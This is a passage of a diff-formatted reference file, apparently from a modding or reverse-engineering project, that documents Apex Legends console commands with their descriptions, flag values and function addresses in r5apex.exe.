+stopsoundscape + +Stops all soundscape processing and fades current looping sounds + +flags: `0x4008` +
+
+stopvideos + +Stops all videos playing to the screen + +flags: `0xa` +
+
+stopvideos_fadeout + +Fades out all videos playing to the screen:
+
+sv_precacheinfo + +Show precache info. + +flags: `0x2` +
+
+sv_showents + +Prints the server entity list + +flags: `0x2` +
+
+sv_shutdown + +Sets the server to shutdown when all games have completed + +flags: `0x4004` +
+
+sv_writeSendTableStreamFile + + + +flags: `0x2` +
+
+testCockpitJoltAngles + + + +flags: `0xa` +
+
+testCockpitJoltOrigin + + + +flags: `0xa` +
+
+test_freezeframe + +Test the freeze frame code. + +flags: `0x4000` +
+
+testhudanim + +Test a hud element animation. + Arguments: + + +flags: `0x4008` +
+
+thread_test_tslist + + + +flags: `0x2` +
+
+thread_test_tsqueue + + + +flags: `0x2` +
+
+titan_loadout_select + +Titan loadout select + +flags: `0x2` +
+
+toggle + +Toggles a convar on or off, or cycles through a set of values. + +flags: `0x80000` +
+
+toggle_inventory + +Toggle the inventory menu + +flags: `0x40080008` +
+
+toggle_map + +Toggle the big map + +flags: `0x40080008` +
+
+ui_reloadscheme + +Reloads the resource files for the active UI window + +flags: `0xa` +
+
+uiscript_reset + +Resets all UI script state + +flags: `0x40000000` +
+
+uiscript_resolutionchanged + +Notifies UI script that the resolution has changed + +flags: `0x40000000` +
+
+unbind + +Unbind a key's TAPPED binding. + +flags: `0x40000000` +
+
+unbind_US_standard + +Unbind a key's TAPPED binding. Given a key on a standard US keyboard, this function will translate that key to the appropriate key on the user's current keyboard and unbind that key. + +flags: `0x40000000` +
+
+unbind_all_gamepad + +Unbinds all gamepad binds + +flags: `0x40000000` +
+
+unbind_batch + +Unbind all bindings (tapped/held) from all specified keys (no keyboard layout translation). + +flags: `0x40000000` +
+
+unbind_held + +Unbind a key's HELD binding. + +flags: `0x40000000` +
+
+unbind_held_US_standard + +Unbind a key's HELD binding. Given a key on a standard US keyboard, this function will translate that key to the appropriate key on the user's current keyboard and unbind that key. + +flags: `0x40000000` +
+
+unbindall + +Unbind all keys. + +flags: `0x40000000` +
+
+unbindall_ignoreGamepad + +Unbind all keys, skip gamepad binds. + +flags: `0x40000000` +
+
+unload_level_loadscreen + +Unloads the loadscreen for the current level + +flags: `0x40000000` +
+
+unmuteroom + +Unmute the chatroom + +flags: `0x2` +
+
+unpausevideos + +Unpauses all videos playing to the screen + +flags: `0xa` +
+
+use_consumable + +Uses a specific consumable + +flags: `0x80008` +
+
+user + +Show user data. + +flags: `0x2` +
+
+users + +Show user info for players on server. + +flags: `0x2` +
+
+version + +Print version info string. + +flags: `0x2` +
+
+vgui_spew_fonts + + + +flags: `0xa` +
+
+vgui_togglepanel + +show/hide vgui panel by name. + +flags: `0x2` +
+
+voicerecord_toggle + + + +flags: `0x80000` +
+
+vx_datacache_list + +vx_datacache_list + +flags: `0x2` +
+
+vx_model_list + +Dump models to VXConsole + +flags: `0x2` +
+
+weaponSelectOrdnance + + + +flags: `0x40080000` +
+
+weaponSelectPrimary0 + + + +flags: `0x40080000` +
+
+weaponSelectPrimary1 + + + +flags: `0x40080000` +
+
+weaponSelectPrimary2 + + + +flags: `0x40080000` +
+
+weapon_activity + +Play a custom animation activity on the active weapon. + +flags: `0x40000000` +
+
+weapon_inspect + + + +flags: `0x40080000` +
+
+weapon_list + +Lists all weapons owned by the local player + +flags: `0x2` +
+
+weapon_reparse + +Reloads the weapon script files + +flags: `0x4008` +
+
+xlog_list + +List all xlogs, and various stats + +flags: `0x2` +
+
+xlog_record + +Start writing log file to disk (including any previously buffered data) + +flags: `0x2` +
+
+xlog_record_that + +Write buffered data (if any) + +flags: `0x2` +
+
+xlog_stop + +Stop writing it to disk. (resume buffering if buffering enabled on log) + +flags: `0x2` +
+
+xlook + + + +flags: `0x40080000` +
+
+xmove + + + +flags: `0x40080000` +
+ +### Addresses + +``` +r5apex.exe!0x01c395d0 ConCommand +ability +r5apex.exe!0x01c40f90 ConCommand +ability_held +r5apex.exe!0x01c456f0 ConCommand +attack +r5apex.exe!0x01c49570 ConCommand +backward +r5apex.exe!0x01c42330 ConCommand +break +r5apex.exe!0x01c458b0 ConCommand +camdistance +r5apex.exe!0x01c41010 ConCommand +camin +r5apex.exe!0x01c3d990 ConCommand +cammousemove +r5apex.exe!0x01c3df10 ConCommand +camout +r5apex.exe!0x01c494f0 ConCommand +campitchdown +r5apex.exe!0x01c392f0 ConCommand +campitchup +r5apex.exe!0x01c423b0 ConCommand +camyawleft +r5apex.exe!0x01c3fc00 ConCommand +camyawright +r5apex.exe!0x01c44860 ConCommand +commandermousemove +r5apex.exe!0x018953e0 ConCommand +csm_rot_x_neg +r5apex.exe!0x018a5250 ConCommand +csm_rot_x_plus +r5apex.exe!0x018a1d70 ConCommand +csm_rot_y_neg +r5apex.exe!0x018a4ab0 ConCommand +csm_rot_y_plus +r5apex.exe!0x01c4c7e0 ConCommand +displayFullscreenMap +r5apex.exe!0x01c3f4e0 ConCommand +dodge +r5apex.exe!0x01c4a050 ConCommand +duck +r5apex.exe!0x01c39810 ConCommand +forward +r5apex.exe!0x01c46b50 ConCommand +graph +r5apex.exe!0x01c4add0 ConCommand +jump +r5apex.exe!0x01c44a00 ConCommand +klook +r5apex.exe!0x01c48e00 ConCommand +left +r5apex.exe!0x01c46cd0 ConCommand +lookdown +r5apex.exe!0x01c478b0 ConCommand +lookup +r5apex.exe!0x01296c30 ConCommand +mat_texture_list +r5apex.exe!0x01c4a610 ConCommand +melee +r5apex.exe!0x01c46ad0 ConCommand +movedown +r5apex.exe!0x01c40d50 ConCommand +moveleft +r5apex.exe!0x01c39e30 ConCommand +moveright +r5apex.exe!0x01c3f700 ConCommand +moveup +r5apex.exe!0x01c4b1b0 ConCommand +offhand0 +r5apex.exe!0x01c3c0f0 ConCommand +offhand1 +r5apex.exe!0x01c49b90 ConCommand +offhand2 +r5apex.exe!0x01c455d0 ConCommand +offhand3 +r5apex.exe!0x01c495f0 ConCommand +offhand4 +r5apex.exe!0x01c4c860 ConCommand +pause_menu +r5apex.exe!0x01c436e0 ConCommand +ping +r5apex.exe!0x01ca3820 ConCommand +posedebug +r5apex.exe!0x0119e660 ConCommand +pushtotalk +r5apex.exe!0x01c3dd90 ConCommand +reload +r5apex.exe!0x01c3d1f0 ConCommand +right +r5apex.exe!0x01c4b9d0 ConCommand +score +r5apex.exe!0x01c48090 ConCommand +scriptCommand1 +r5apex.exe!0x01c4a690 ConCommand +scriptCommand2 +r5apex.exe!0x01c3d0d0 ConCommand +scriptCommand3 +r5apex.exe!0x01c3f9e0 ConCommand +scriptCommand4 +r5apex.exe!0x01c475f0 ConCommand +scriptCommand5 +r5apex.exe!0x01c47930 ConCommand +scriptCommand6 +r5apex.exe!0x01c4b0b0 ConCommand +scriptCommand7 +r5apex.exe!0x01c3d750 ConCommand +scriptCommand8 +r5apex.exe!0x01c47390 ConCommand +scriptCommand9 +r5apex.exe!0x01c3a0d0 ConCommand +showscores +r5apex.exe!0x01c38eb0 ConCommand +speed +r5apex.exe!0x01c4c760 ConCommand +strafe +r5apex.exe!0x01c3dbd0 ConCommand +toggle_duck +r5apex.exe!0x01c39f30 ConCommand +toggle_zoom +r5apex.exe!0x01c49330 ConCommand +use +r5apex.exe!0x01c47710 ConCommand +useAndReload +r5apex.exe!0x01c3ffd0 ConCommand +use_alt +r5apex.exe!0x01c4a0d0 ConCommand +use_long +r5apex.exe!0x01c3e150 ConCommand +variableScopeToggle +r5apex.exe!0x01191e50 ConCommand +voicerecord +r5apex.exe!0x01c4c0d0 ConCommand +walk +r5apex.exe!0x01c4b710 ConCommand +weaponCycle +r5apex.exe!0x01c47a50 ConCommand +weapon_discard +r5apex.exe!0x01c3de10 ConCommand +zoom +r5apex.exe!0x01c44980 ConCommand -ability +r5apex.exe!0x01c3ede0 ConCommand -ability_held +r5apex.exe!0x01c413b0 ConCommand -attack +r5apex.exe!0x01c39130 ConCommand -backward +r5apex.exe!0x01c43800 ConCommand -break +r5apex.exe!0x01c4bf30 ConCommand -camdistance +r5apex.exe!0x01c48690 ConCommand -camin +r5apex.exe!0x01c3d7d0 ConCommand -cammousemove +r5apex.exe!0x01c42f50 ConCommand -camout +r5apex.exe!0x01c47010 ConCommand -campitchdown +r5apex.exe!0x01c424d0 ConCommand -campitchup +r5apex.exe!0x01c40e70 ConCommand -camyawleft +r5apex.exe!0x01c3f680 ConCommand -camyawright +r5apex.exe!0x01c4a1f0 ConCommand -commandermousemove +r5apex.exe!0x018a6760 ConCommand -csm_rot_x_neg +r5apex.exe!0x01895b90 ConCommand -csm_rot_x_plus +r5apex.exe!0x01c2e490 ConCommand -csm_rot_y_neg +r5apex.exe!0x018a4070 ConCommand -csm_rot_y_plus +r5apex.exe!0x01c396f0 ConCommand -displayFullscreenMap +r5apex.exe!0x01c4b3f0 ConCommand -dodge +r5apex.exe!0x01c46c50 ConCommand -duck +r5apex.exe!0x01c3fae0 ConCommand -forward +r5apex.exe!0x01c3fd20 ConCommand -graph +r5apex.exe!0x01c40770 ConCommand -jump +r5apex.exe!0x01c3ee60 ConCommand -klook +r5apex.exe!0x01c39eb0 ConCommand -left +r5apex.exe!0x01c3f8c0 ConCommand -lookdown +r5apex.exe!0x01c394b0 ConCommand -lookup +r5apex.exe!0x012969d0 ConCommand -mat_texture_list +r5apex.exe!0x01c44260 ConCommand -melee +r5apex.exe!0x01c3dab0 ConCommand -movedown +r5apex.exe!0x01c48fc0 ConCommand -moveleft +r5apex.exe!0x01c407f0 ConCommand -moveright +r5apex.exe!0x01c46d50 ConCommand -moveup +r5apex.exe!0x01c47830 ConCommand -offhand0 +r5apex.exe!0x01c497b0 ConCommand -offhand1 +r5apex.exe!0x01c48850 ConCommand -offhand2 +r5apex.exe!0x01c3eee0 ConCommand -offhand3 +r5apex.exe!0x01c39b70 ConCommand -offhand4 +r5apex.exe!0x01c490c0 ConCommand -pause_menu +r5apex.exe!0x01c39fb0 ConCommand -ping +r5apex.exe!0x01ca38c0 ConCommand -posedebug +r5apex.exe!0x0119e040 ConCommand -pushtotalk +r5apex.exe!0x01c39c90 ConCommand -reload +r5apex.exe!0x01c46bd0 ConCommand -right +r5apex.exe!0x01c49970 ConCommand -score +r5apex.exe!0x01c39db0 ConCommand -scriptCommand1 +r5apex.exe!0x01c471d0 ConCommand -scriptCommand2 +r5apex.exe!0x01c4b130 ConCommand -scriptCommand3 +r5apex.exe!0x01c4aef0 ConCommand -scriptCommand4 +r5apex.exe!0x01c38f30 ConCommand -scriptCommand5 +r5apex.exe!0x01c38d10 ConCommand -scriptCommand6 +r5apex.exe!0x01c4b370 ConCommand -scriptCommand7 +r5apex.exe!0x01c3ce30 ConCommand -scriptCommand8 +r5apex.exe!0x01c46890 ConCommand -scriptCommand9 +r5apex.exe!0x01c3d050 ConCommand -showscores +r5apex.exe!0x01c406f0 ConCommand -speed +r5apex.exe!0x01c49b10 ConCommand -strafe +r5apex.exe!0x01c3fa60 ConCommand -toggle_duck +r5apex.exe!0x01c47550 ConCommand -toggle_zoom +r5apex.exe!0x01c3ceb0 ConCommand -use +r5apex.exe!0x01c38e30 ConCommand -useAndReload +r5apex.exe!0x01c492b0 ConCommand -use_alt +r5apex.exe!0x01c420c0 ConCommand -use_long +r5apex.exe!0x01c39af0 ConCommand -variableScopeToggle +r5apex.exe!0x0118e910 ConCommand -voicerecord +r5apex.exe!0x01c4b790 ConCommand -walk +r5apex.exe!0x01c3f560 ConCommand -weaponCycle +r5apex.exe!0x01c4c1f0 ConCommand -weapon_discard +r5apex.exe!0x01c431b0 ConCommand -zoom +r5apex.exe!0x0118ad00 ConCommand BindToggle +r5apex.exe!0x012e56f0 ConCommand CMaterialSystem_clear_loading +r5apex.exe!0x012e4ef0 ConCommand CMaterialSystem_set_loading +r5apex.exe!0x012e58b0 ConCommand DebugPrintUsedTextures +r5apex.exe!0x01297700 ConCommand DumpClientDataBlockReceiver +r5apex.exe!0x012d2b00 ConCommand EADP_Dump_Invites +r5apex.exe!0x012d25c0 ConCommand EADP_RTM_FORCE_TLS_ERROR +r5apex.exe!0x012d2b80 ConCommand EADP_RTM_send_invite +r5apex.exe!0x012d2d60 ConCommand EADP_RTM_send_presence +r5apex.exe!0x012d2de0 ConCommand EADP_RTM_test_subscribe +r5apex.exe!0x012d2ce0 ConCommand EADP_dump_MyPresence +r5apex.exe!0x012cb140 ConCommand EADP_dump_friends +r5apex.exe!0x012cb040 ConCommand EADP_get_friend_test +r5apex.exe!0x012cb1c0 ConCommand EADP_is_friend_user_test +r5apex.exe!0x012d2f00 ConCommand EADP_presence_subscribe_all_club_members +r5apex.exe!0x012cb380 ConCommand EADP_search_test2 +r5apex.exe!0x012cb0c0 ConCommand EADP_unfriend_user_test +r5apex.exe!0x01260830 ConCommand MemTrackDeltaSnapshot +r5apex.exe!0x012603f0 ConCommand MemTrackPrintStats +r5apex.exe!0x012d2640 ConCommand RTM_FORCE_shutdown +r5apex.exe!0x018aa040 ConCommand ReloadAimAssistSettings +r5apex.exe!0x0125fe90 ConCommand adminmsg +r5apex.exe!0x01e74b90 ConCommand aisettings_reparse_client +r5apex.exe!0x0118e6c0 ConCommand alias +r5apex.exe!0x01e736f0 ConCommand applyVideoChangesDeferred +r5apex.exe!0x01194ca0 ConCommand bind +r5apex.exe!0x01192250 ConCommand bind_US_standard +r5apex.exe!0x01196480 ConCommand bind_held +r5apex.exe!0x01195c60 ConCommand bind_held_US_standard +r5apex.exe!0x01192620 ConCommand bind_list +r5apex.exe!0x01191530 ConCommand bind_list_abilities +r5apex.exe!0x0119efc0 ConCommand bink_dump_precached_movies +r5apex.exe!0x01e5ef00 ConCommand bot_loadout +r5apex.exe!0x01260470 ConCommand box +r5apex.exe!0x0118bd90 ConCommand buildcubemaps +r5apex.exe!0x01193a80 ConCommand cache_print +r5apex.exe!0x011932a0 ConCommand cache_print_lru +r5apex.exe!0x0118ed40 ConCommand cache_print_summary +r5apex.exe!0x01c451c0 ConCommand cam_command +r5apex.exe!0x01c3cf30 ConCommand cancelselect +r5apex.exe!0x01c3c3e0 ConCommand cc_emit +r5apex.exe!0x018960b0 ConCommand centerview +r5apex.exe!0x01197170 ConCommand changelevel +r5apex.exe!0x01894300 ConCommand chaosmonkeydisconnect +r5apex.exe!0x012618a0 ConCommand chat +r5apex.exe!0x01c54950 ConCommand chat_wheel +r5apex.exe!0x012d2300 ConCommand chatroom_adminsOnly +r5apex.exe!0x0125fd50 ConCommand chatroom_away +r5apex.exe!0x012d2160 ConCommand chatroom_freetalk +r5apex.exe!0x01260fe0 ConCommand chatroom_present +r5apex.exe!0x012604e0 ConCommand chatserver +r5apex.exe!0x0119f180 ConCommand chroma_base +r5apex.exe!0x0119f100 ConCommand chroma_layer +r5apex.exe!0x01c55f70 ConCommand cl_dump_particle_stats +r5apex.exe!0x01e86b80 ConCommand cl_ent_absbox +r5apex.exe!0x01e84d80 ConCommand cl_ent_bbox +r5apex.exe!0x01e85720 ConCommand cl_ent_rbox +r5apex.exe!0x01e85820 ConCommand cl_find_ent +r5apex.exe!0x01e86000 ConCommand cl_find_ent_index +r5apex.exe!0x01e857a0 ConCommand cl_flip_visibility +r5apex.exe!0x01260940 ConCommand cl_fullupdate +r5apex.exe!0x01e86240 ConCommand cl_interpolation_report +r5apex.exe!0x01c4fdf0 ConCommand cl_panelanimation +r5apex.exe!0x01c51310 ConCommand cl_particles_dumplist +r5apex.exe!0x0125fcb0 ConCommand cl_precacheinfo +r5apex.exe!0x01e86120 ConCommand cl_removedecals +r5apex.exe!0x012606b0 ConCommand cl_showents +r5apex.exe!0x01c4a450 ConCommand cl_soundscape_flush +r5apex.exe!0x01c56ee0 ConCommand cl_trace_start_solid +r5apex.exe!0x01894380 ConCommand cl_trace_test_hitbox_with_non_zero_start_offset +r5apex.exe!0x01e86d00 ConCommand cl_updatevisibility +r5apex.exe!0x01197780 ConCommand clear_loading_progress_detente +r5apex.exe!0x0118f920 ConCommand clear_loading_progress_sp_text +r5apex.exe!0x0118baa0 ConCommand cm_query_log_record +r5apex.exe!0x0118df70 ConCommand cm_query_log_replay +r5apex.exe!0x0118bb90 ConCommand cmd +r5apex.exe!0x0118b630 ConCommand cmd1 +r5apex.exe!0x0118bc80 ConCommand cmd2 +r5apex.exe!0x0118b170 ConCommand cmd3 +r5apex.exe!0x0118be30 ConCommand cmd4 +r5apex.exe!0x01e85440 ConCommand collision_debug +r5apex.exe!0x0118e7e0 ConCommand colorcorrectionui +r5apex.exe!0x012ca680 ConCommand community_browse +r5apex.exe!0x012ca840 ConCommand community_getPendingJoinRequest +r5apex.exe!0x012ca4e0 ConCommand community_join +r5apex.exe!0x012cac00 ConCommand community_leave +r5apex.exe!0x012ca560 ConCommand community_list +r5apex.exe!0x012cab80 ConCommand community_report +r5apex.exe!0x012ca260 ConCommand community_showerror +r5apex.exe!0x01260ed0 ConCommand connect +r5apex.exe!0x01261390 ConCommand connectAsSpectator +r5apex.exe!0x0125fb90 ConCommand connectWithKey +r5apex.exe!0x01261ac0 ConCommand connectwithtoken +r5apex.exe!0x0118c560 ConCommand convar_differences +r5apex.exe!0x0118c4f0 ConCommand convar_findByFlags +r5apex.exe!0x0118dfe0 ConCommand convar_list +r5apex.exe!0x01260640 ConCommand createparty +r5apex.exe!0x01261170 ConCommand createpartyifnotinone +r5apex.exe!0x01c2eb00 ConCommand csm_status +r5apex.exe!0x01c9c530 ConCommand damagedefs_reparse_client +r5apex.exe!0x012605d0 ConCommand debugModelPurge +r5apex.exe!0x0118c6b0 ConCommand devshots_nextmap +r5apex.exe!0x01260af0 ConCommand devshots_screenshot +r5apex.exe!0x012cbe50 ConCommand dfs_print_flag_states +r5apex.exe!0x012cc490 ConCommand dfs_print_true_flags +r5apex.exe!0x0118ea00 ConCommand disconnect +r5apex.exe!0x012ccfd0 ConCommand display_elapsedtime +r5apex.exe!0x01e854c0 ConCommand dlight_debug +r5apex.exe!0x058ca680 ConCommand do_InvitePeople_test +r5apex.exe!0x058ca1a0 ConCommand do_Invite_friend_test +r5apex.exe!0x058c4d70 ConCommand do_joinPeople_test +r5apex.exe!0x058ca0c0 ConCommand do_origin_test_presence +r5apex.exe!0x0119ba20 ConCommand downloadPlaylists +r5apex.exe!0x01c5ad70 ConCommand dumpClientStringTable +r5apex.exe!0x01197e30 ConCommand dumpstringtables +r5apex.exe!0x0118bf40 ConCommand echo +r5apex.exe!0x0118c640 ConCommand echo_error +r5apex.exe!0x012d1bb0 ConCommand editor_toggle +r5apex.exe!0x01261a40 ConCommand endmovie +r5apex.exe!0x01297ba0 ConCommand entitlements_send +r5apex.exe!0x0118b4e0 ConCommand envmap +r5apex.exe!0x0118f990 ConCommand escape +r5apex.exe!0x0118e390 ConCommand exec +r5apex.exe!0x012cd170 ConCommand execPlayerConfig +r5apex.exe!0x0118c5d0 ConCommand execifexists +r5apex.exe!0x0118ffa0 ConCommand exit +r5apex.exe!0x01892b50 ConCommand eyeInfo +r5apex.exe!0x01c3fda0 ConCommand firstperson +r5apex.exe!0x0118f0a0 ConCommand flush +r5apex.exe!0x01192800 ConCommand flush_locked +r5apex.exe!0x01c499f0 ConCommand force_centerview +r5apex.exe!0x012dbfb0 ConCommand fps_stats_dump +r5apex.exe!0x012de0f0 ConCommand fps_stats_reset +r5apex.exe!0x012dbdf0 ConCommand fps_stats_start +r5apex.exe!0x012de490 ConCommand fps_stats_stop +r5apex.exe!0x012d0de0 ConCommand friends_update +r5apex.exe!0x012d40e0 ConCommand fs_clear_open_duplicate_times +r5apex.exe!0x012d4340 ConCommand fs_dump_open_duplicate_times +r5apex.exe!0x012d4a80 ConCommand fs_fios_cancel_prefetches +r5apex.exe!0x012d4060 ConCommand fs_fios_flush_cache +r5apex.exe!0x012d4500 ConCommand fs_fios_prefetch_file +r5apex.exe!0x012d4850 ConCommand fs_fios_prefetch_file_in_pack +r5apex.exe!0x012d47d0 ConCommand fs_fios_print_prefetches +r5apex.exe!0x0118c980 ConCommand fs_printopenfiles +r5apex.exe!0x0118cd60 ConCommand fs_warning_level +r5apex.exe!0x01c3ec20 ConCommand fx_impact_reparse +r5apex.exe!0x01199830 ConCommand gameui_activate +r5apex.exe!0x0119bc00 ConCommand gameui_allowescape +r5apex.exe!0x0119d320 ConCommand gameui_allowescapetoshow +r5apex.exe!0x011995b0 ConCommand gameui_hide +r5apex.exe!0x01198fd0 ConCommand gameui_preventescape +r5apex.exe!0x0119aaa0 ConCommand gameui_preventescapetoshow +r5apex.exe!0x012d2540 ConCommand getNewAuthToken +r5apex.exe!0x01891420 ConCommand getfov +r5apex.exe!0x011914c0 ConCommand gethttpdatacenterlist +r5apex.exe!0x01896030 ConCommand getpos +r5apex.exe!0x018a9270 ConCommand getpos_bind +r5apex.exe!0x01c2dc60 ConCommand getposvec +r5apex.exe!0x01e65280 ConCommand give +r5apex.exe!0x0118ccf0 ConCommand help +r5apex.exe!0x01e87ae0 ConCommand hidepanel +r5apex.exe!0x01c4f310 ConCommand hidevideos +r5apex.exe!0x012e6ae0 ConCommand highlight_log +r5apex.exe!0x012ccc70 ConCommand host_runofftime +r5apex.exe!0x01c41910 ConCommand hud_subtitles +r5apex.exe!0x012d2f80 ConCommand huffman_readProps +r5apex.exe!0x01c46910 ConCommand impulse +r5apex.exe!0x012ca8c0 ConCommand inboxmessage_report +r5apex.exe!0x01197cf0 ConCommand incrementvar +r5apex.exe!0x01c50db0 ConCommand ingamemenu_activate +r5apex.exe!0x0118f800 ConCommand initMatchmaking +r5apex.exe!0x01c3f940 ConCommand invnext +r5apex.exe!0x018a99f0 ConCommand is_considered_sony_multiplayer +r5apex.exe!0x01260560 ConCommand joinopeninvite +r5apex.exe!0x01c46f90 ConCommand joystick_initialize +r5apex.exe!0x01260c10 ConCommand jpeg +r5apex.exe!0x01197890 ConCommand key_listboundkeys +r5apex.exe!0x012d6890 ConCommand key_updatelayout +r5apex.exe!0x0119b660 ConCommand launchplaylist +r5apex.exe!0x012616e0 ConCommand leaveopeninvite +r5apex.exe!0x01c56f60 ConCommand listClientFXScriptHandles +r5apex.exe!0x01193d70 ConCommand listmodels +r5apex.exe!0x0119a1e0 ConCommand loadPlaylists +r5apex.exe!0x011923a0 ConCommand map +r5apex.exe!0x011906c0 ConCommand map_background +r5apex.exe!0x01192760 ConCommand maps +r5apex.exe!0x01191ab0 ConCommand mat_antialias_mode +r5apex.exe!0x01198b50 ConCommand mat_configcurrent +r5apex.exe!0x0118cb30 ConCommand mat_crosshair +r5apex.exe!0x0118c860 ConCommand mat_crosshair_edit +r5apex.exe!0x0118b3d0 ConCommand mat_crosshair_explorer +r5apex.exe!0x0118cc70 ConCommand mat_crosshair_printmaterial +r5apex.exe!0x0118e050 ConCommand mat_crosshair_reloadmaterial +r5apex.exe!0x01192ee0 ConCommand mat_gamma +r5apex.exe!0x012e1bb0 ConCommand mat_hdr_enabled +r5apex.exe!0x01882c60 ConCommand mat_printLiveTex +r5apex.exe!0x01192440 ConCommand mat_savechanges +r5apex.exe!0x01195760 ConCommand mat_setvideomode +r5apex.exe!0x01198970 ConCommand mat_vsync +r5apex.exe!0x01195800 ConCommand match_abortAllSearches +r5apex.exe!0x01191450 ConCommand match_showAllSearches +r5apex.exe!0x01198150 ConCommand matchmake +r5apex.exe!0x011983d0 ConCommand matchmake_cancel +r5apex.exe!0x01195f20 ConCommand matchmake_cleanupforparty +r5apex.exe!0x012993a0 ConCommand maxplayers +r5apex.exe!0x012cd1f0 ConCommand mem_compact +r5apex.exe!0x012cc2f0 ConCommand mem_dump +r5apex.exe!0x012cc010 ConCommand mem_dump_vm +r5apex.exe!0x012cbb50 ConCommand mem_eat +r5apex.exe!0x012ccf50 ConCommand mem_incremental_compact +r5apex.exe!0x012cd0f0 ConCommand mem_leak_vm +r5apex.exe!0x012cc410 ConCommand mem_test +r5apex.exe!0x012e2d60 ConCommand mem_textures +r5apex.exe!0x012cd650 ConCommand mem_verify +r5apex.exe!0x012e3240 ConCommand mem_vram +r5apex.exe!0x01194570 ConCommand memory +r5apex.exe!0x011968c0 ConCommand migrateme +r5apex.exe!0x01e72f90 ConCommand miles_dump +r5apex.exe!0x01e73120 ConCommand miles_event_info +r5apex.exe!0x01e73b80 ConCommand miles_pauseui_byname +r5apex.exe!0x01e74830 ConCommand miles_play +r5apex.exe!0x01e74a70 ConCommand miles_reboot +r5apex.exe!0x01e71940 ConCommand miles_record +r5apex.exe!0x01e727f0 ConCommand miles_record_that +r5apex.exe!0x01e723e0 ConCommand miles_stop_all +r5apex.exe!0x01e71e60 ConCommand miles_unpauseui_byname +r5apex.exe!0x01e72a90 ConCommand miles_write_passive_dumpfile +r5apex.exe!0x01260050 ConCommand mmdevinit +r5apex.exe!0x0118e980 ConCommand multvar +r5apex.exe!0x012d24c0 ConCommand muteroom +r5apex.exe!0x0118f120 ConCommand net_channels +r5apex.exe!0x012611f0 ConCommand net_dumpIncomingStats +r5apex.exe!0x01260dc0 ConCommand net_dumpOutgoingStats +r5apex.exe!0x01261050 ConCommand net_dumpStats +r5apex.exe!0x01195fc0 ConCommand net_start +r5apex.exe!0x011938c0 ConCommand net_status +r5apex.exe!0x012cc830 ConCommand net_writeStatsFile +r5apex.exe!0x012614b0 ConCommand openinvite +r5apex.exe!0x012609e0 ConCommand openinvitecomplete +r5apex.exe!0x012607c0 ConCommand openinvitelaunch +r5apex.exe!0x058ca130 ConCommand origin_friendlist_dump +r5apex.exe!0x018a07b0 ConCommand particle_create +r5apex.exe!0x018a37d0 ConCommand particle_create_on_me +r5apex.exe!0x01c2eb80 ConCommand particle_create_ss +r5apex.exe!0x01c50bf0 ConCommand particle_dump +r5apex.exe!0x018966e0 ConCommand particle_kill +r5apex.exe!0x01c54670 ConCommand particle_list +r5apex.exe!0x018a0690 ConCommand particle_recreate +r5apex.exe!0x01c4f840 ConCommand particle_remove_all +r5apex.exe!0x0189df50 ConCommand particle_scrub_bake +r5apex.exe!0x01c381f0 ConCommand particle_scrub_play +r5apex.exe!0x01c2daa0 ConCommand particle_scrub_stop +r5apex.exe!0x012cf220 ConCommand party_leave +r5apex.exe!0x012cede0 ConCommand party_serverChange +r5apex.exe!0x0118e420 ConCommand path +r5apex.exe!0x0118fdf0 ConCommand pause +r5apex.exe!0x01c52270 ConCommand pausevideos +r5apex.exe!0x01885280 ConCommand perfcharts_record +r5apex.exe!0x01c524d0 ConCommand phys_objectDump +r5apex.exe!0x01e84d00 ConCommand phys_throw_client +r5apex.exe!0x01190c90 ConCommand ping +r5apex.exe!0x01c51f70 ConCommand ping_specific_type +r5apex.exe!0x011980b0 ConCommand pingdatacenters +r5apex.exe!0x01896170 ConCommand pixelvis_debug +r5apex.exe!0x01ca04b0 ConCommand playerSettings_reparse +r5apex.exe!0x0119d090 ConCommand playlistdump +r5apex.exe!0x01c3de90 ConCommand playsoundscape +r5apex.exe!0x01c52d70 ConCommand playvideo +r5apex.exe!0x01c51010 ConCommand playvideo_end_level_transition +r5apex.exe!0x01c54d90 ConCommand playvideo_exitcommand +r5apex.exe!0x01c55230 ConCommand playvideo_exitcommand_nointerrupt +r5apex.exe!0x01c55ab0 ConCommand playvideo_nointerrupt +r5apex.exe!0x01c52b10 ConCommand playvideo_scaled +r5apex.exe!0x0118bc10 ConCommand print_colorcorrection +r5apex.exe!0x0119c3e0 ConCommand progress_enable +r5apex.exe!0x01193cd0 ConCommand quit +r5apex.exe!0x01ca4960 ConCommand r_cheapwaterend +r5apex.exe!0x01e59400 ConCommand r_cheapwaterstart +r5apex.exe!0x01191db0 ConCommand r_cleardecals +r5apex.exe!0x012e8ea0 ConCommand r_dxgi_max_frame_latency +r5apex.exe!0x0119af60 ConCommand r_printdecalinfo +r5apex.exe!0x012c9fa0 ConCommand readMsgs +r5apex.exe!0x01198650 ConCommand recheck +r5apex.exe!0x012cc270 ConCommand recompute_speed +r5apex.exe!0x0125fc10 ConCommand reconnect +r5apex.exe!0x01195b20 ConCommand reload +r5apex.exe!0x01297e00 ConCommand reload_localization +r5apex.exe!0x01e59e40 ConCommand reload_script_callbacks +r5apex.exe!0x01c421e0 ConCommand reset_cam_ideal_angles +r5apex.exe!0x01196360 ConCommand restart +r5apex.exe!0x01193c60 ConCommand restart_checkpoint +r5apex.exe!0x018a1e10 ConCommand roamingcam_setang +r5apex.exe!0x01c2dda0 ConCommand roamingcam_setpos +r5apex.exe!0x018a8b40 ConCommand roamingcam_setroll +r5apex.exe!0x01e73840 ConCommand rumble_print +r5apex.exe!0x012cb7f0 ConCommand savePlayerConfig +r5apex.exe!0x01c54250 ConCommand scoreboard_down +r5apex.exe!0x01c518b0 ConCommand scoreboard_focus +r5apex.exe!0x01c54eb0 ConCommand scoreboard_mute +r5apex.exe!0x01c564a0 ConCommand scoreboard_profile +r5apex.exe!0x01c540f0 ConCommand scoreboard_toggle_focus +r5apex.exe!0x01c53370 ConCommand scoreboard_up +r5apex.exe!0x0125ffb0 ConCommand screenshot +r5apex.exe!0x01193940 ConCommand server_single_frame +r5apex.exe!0x0119ad00 ConCommand serverinfo +r5apex.exe!0x01ca12d0 ConCommand set +r5apex.exe!0x01191c70 ConCommand set_loading_progress_background +r5apex.exe!0x01198ab0 ConCommand set_loading_progress_detente +r5apex.exe!0x0118edb0 ConCommand set_loading_progress_fadeout_enabled +r5apex.exe!0x0118ec30 ConCommand set_loading_progress_sp_text +r5apex.exe!0x01261310 ConCommand setinfo +r5apex.exe!0x0118d6f0 ConCommand settype +r5apex.exe!0x01c55070 ConCommand shake_stop +r5apex.exe!0x01c55490 ConCommand shake_testpunch +r5apex.exe!0x01198cd0 ConCommand show_loading_progress +r5apex.exe!0x01e87a60 ConCommand showpanel +r5apex.exe!0x01c544b0 ConCommand showvideos 